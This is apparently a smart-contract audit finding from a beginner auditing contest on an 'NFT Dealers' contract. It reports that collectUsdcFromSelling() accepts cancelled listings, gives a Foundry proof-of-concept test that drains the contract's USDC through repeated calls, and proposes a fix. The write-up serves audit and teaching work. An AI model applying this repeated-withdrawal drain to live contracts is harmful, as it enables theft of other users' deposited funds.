NFT Dealers
First Flight #58
Beginner FriendlyFoundry
100 EXP
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: high

[H] An attacker can steal the nftDealers contract’s balance via collectUsdcFromSelling(), draining it until the balance is zero or nearly zero

Author Revealed upon completion

Root + Impact

Description

  • When an NFT is sold, its status in the listing is set to false; at that point, the seller can call collectUsdcFromSelling() to receive their previous collateral and the sale proceeds.

  • In the collectUsdcFromSelling function, it only checks if the current listing.isActive is false; only inactive listings can proceed with subsequent operations. Currently, besides the selling operation which sets listing.isActive to false, the cancelListing operation also sets listing.isActive to false. This presents a problem: the seller can actively cancel the listing and

    collectUsdcFromSelling does not restrict usage to only newly sold NFTs awaiting collection, allowing cancelListed NFTs to also be used for collection, ultimately leading to financial losses.

// Root cause in the codebase with @> marks to highlight the relevant section
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
Listing memory listing = s_listings[_listingId];
@> require(!listing.isActive, "Listing must be inactive to collect USDC");
​
uint256 fees = _calculateFees(listing.price);
uint256 amountToSeller = listing.price - fees;
uint256 collateralToReturn = collateralForMinting[listing.tokenId];
​
totalFeesCollected += fees;
amountToSeller += collateralToReturn;
usdc.safeTransfer(address(this), fees);
usdc.safeTransfer(msg.sender, amountToSeller);
}

Risk

Likelihood:

  • The likelihood of this vulnerability being exploited is High because this vulnerability can be exploited as long as the seller has unactivated NFTs.


Impact:

  • In this collectUsdcFromSelling vulnerability, an attacker can exploit it to steal all the funds held in the contract. This results in the collateral provided by all whitelisted users when minting NFTs being emptied, and the funds being stolen. Furthermore, after the seller receives payment, s_listings[_listingId].seller is not updated to reflect the new buyer. This prevents all subsequent sellers from receiving payment, while the original seller can withdraw funds indefinitely. This poses a significant obstacle to both finances and business operations.

Proof of Concept

  1. Simulate two whitelisted users (one of whom is an attacker who is also a whitelisted user), mint NFTs, and list them for sale. This ensures the contract has collateralized assets. In a real attack, the attacker would monitor the contract's asset situation in real-time. Our Proof of Concept (POC) simulates this here.

  2. The attacker lists an NFT and sets a price.

  3. The attacker delists this NFT, making it inactive.

  4. Based on the contract's balance, the attacker repeatedly calls collectUsdcFromSelling, continuously stealing (collateral + product profit - fees) from the platform until the contract can no longer pay related fees.

function test_Poc_collectUsdcFromSelling() public revealed whitelisted{
// userWithEvenMoreCash is also whitelisted
vm.prank(owner);
nftDealers.whitelistWallet(userWithEvenMoreCash);
// To demonstrate that other whitelisted users continuously mint NFTs and stake USDT to the nftDealers.
vm.startPrank(userWithEvenMoreCash);
usdc.approve(address(nftDealers), 1000e6);
nftDealers.mintNft();
nftDealers.mintNft();
nftDealers.mintNft();
vm.stopPrank();
// then the usdc.balanceOf nftDealers is 60 USDC, because 3 NFTs are listed, and each NFT locks 20 USDC as collateral
console.log("USDC balance of NFTDealers:", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
// userWithCash is whitelisted
vm.startPrank(userWithCash);
usdc.approve(address(nftDealers), 1000e6);
// userWithCash mint a Nft and list it
nftDealers.mintNft();
uint32 sellPrice = 20e6;
uint256 tokenId_userWithCash = nftDealers.totalMinted();
nftDealers.list(tokenId_userWithCash, sellPrice);
// then the usdc.balanceOf nftDealers is 80 USDC
// userWithCash cancel listing
nftDealers.cancelListing(tokenId_userWithCash);
uint256 userWithCashBalanceBeforeAttack = usdc.balanceOf(userWithCash);
console.log("Attcker balance of USDC:", userWithCashBalanceBeforeAttack / 1e6, "USDC");
// attack
while (usdc.balanceOf(address(nftDealers)) >= sellPrice) {
nftDealers.collectUsdcFromSelling(tokenId_userWithCash);
console.log("Attcker balance of USDC:", usdc.balanceOf(userWithCash) / 1e6, "USDC");
}
console.log("NFTDealers balance of USDC:", usdc.balanceOf(address(nftDealers)) / 1e6, "USDC");
vm.stopPrank();
assertGt(usdc.balanceOf(address(userWithCash)), userWithCashBalanceBeforeAttack);
​
}
[PASS] test_Poc_collectUsdcFromSelling() (gas: 908207)
Logs:
USDC balance of NFTDealers: 60 USDC
Attcker balance of USDC: 20 USDC
Attcker balance of USDC: 39 USDC
Attcker balance of USDC: 59 USDC
Attcker balance of USDC: 79 USDC
NFTDealers balance of USDC: 0 USDC

Recommended Mitigation

  1. Add a state to the list. After a buyer purchases the item, set sellerConfirmation to true. This indicates that the seller needs to confirm and collect payment.

  2. In collectUsdcFromSelling, add a check to see if sellerConfirmation is true. If it is not true, it means the NFT has not been sold yet and the payment collection operation should not be performed.

  3. At the same time, update listing.seller to the most recent buyer's account, indicating that the ownership has been transferred.

struct Listing {
address seller;
uint32 price;
address nft;
uint256 tokenId;
bool isActive;
+ bool sellerConfirmation; // Already sold, but the seller hasn't confirmed receipt of payment yet.
}
function list(uint256 _tokenId, uint32 _price) external onlyWhitelisted {
//...
- s_listings[_tokenId] = Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId, isActive: true});
+ s_listings[_tokenId] = Listing({seller: msg.sender, price: _price, nft: address(this), tokenId: _tokenId, isActive: true, sellerConfirmation: false});
//...
}
​
function buy(uint256 _listingId) external payable {
s_listings[_listingId].isActive = false;
+ s_listings[_listingId].sellerConfirmation = true;
}
​
function collectUsdcFromSelling(uint256 _listingId) external onlySeller(_listingId) {
//...
+ require(listing.sellerConfirmation, "The NFT must be sellerConfirmation state");
​
+ address buyer = ownerOf(listing.tokenId);
+ s_listings[_listingId].seller = buyer;
+ s_listings[_listingId].sellerConfirmation = false;
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!